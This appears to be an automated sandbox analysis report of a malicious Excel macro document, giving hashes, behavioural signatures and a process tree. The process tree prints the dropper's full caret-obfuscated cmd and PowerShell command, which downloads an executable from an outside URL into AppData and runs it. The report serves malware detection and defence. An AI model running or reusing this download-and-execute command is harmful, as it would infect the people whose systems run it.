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Analysis
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max time kernel
19s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
15/08/2024, 02:50
Behavioral task
behavioral1
Sample
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls
Resource
win10v2004-20240802-en
General
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Target
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls
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Size
71KB
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MD5
a8b328978b0cd22a8fe928d4f9d5156e
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SHA1
a800e64f46a26fdb5670cb79c326d4ec2de90614
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SHA256
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b
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SHA512
7aa3fbcb0bf49fe7df79940303bafb7241df06eb09c8825d3c0ab5ac5acacb29795030cf2cadebc764ed630a3c69d4f3e404871b2e4e45f7ca532c9827fd12af
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SSDEEP
1536:vkxEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAMvZif71rzVm1jrKSFKp:vkxEtjPOtioVjDGUU1qfDlaGGx+cL+LM
Malware Config
Extracted
https://cedacriall.faith/1aqalpiniahelfuimoksa.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 916 2688 cMd.exe 29 -
pid Process 1996 powershell.exe 1996 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cMd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2688 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1996 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1996 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2688 EXCEL.EXE 2688 EXCEL.EXE 2688 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2688 wrote to memory of 2748 2688 EXCEL.EXE 30 PID 2688 wrote to memory of 2748 2688 EXCEL.EXE 30 PID 2688 wrote to memory of 2748 2688 EXCEL.EXE 30 PID 2688 wrote to memory of 2748 2688 EXCEL.EXE 30 PID 2688 wrote to memory of 916 2688 EXCEL.EXE 31 PID 2688 wrote to memory of 916 2688 EXCEL.EXE 31 PID 2688 wrote to memory of 916 2688 EXCEL.EXE 31 PID 2688 wrote to memory of 916 2688 EXCEL.EXE 31 PID 916 wrote to memory of 1996 916 cMd.exe 33 PID 916 wrote to memory of 1996 916 cMd.exe 33 PID 916 wrote to memory of 1996 916 cMd.exe 33 PID 916 wrote to memory of 1996 916 cMd.exe 33
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2748
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C:\Windows\SysWOW64\cMd.execMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1996
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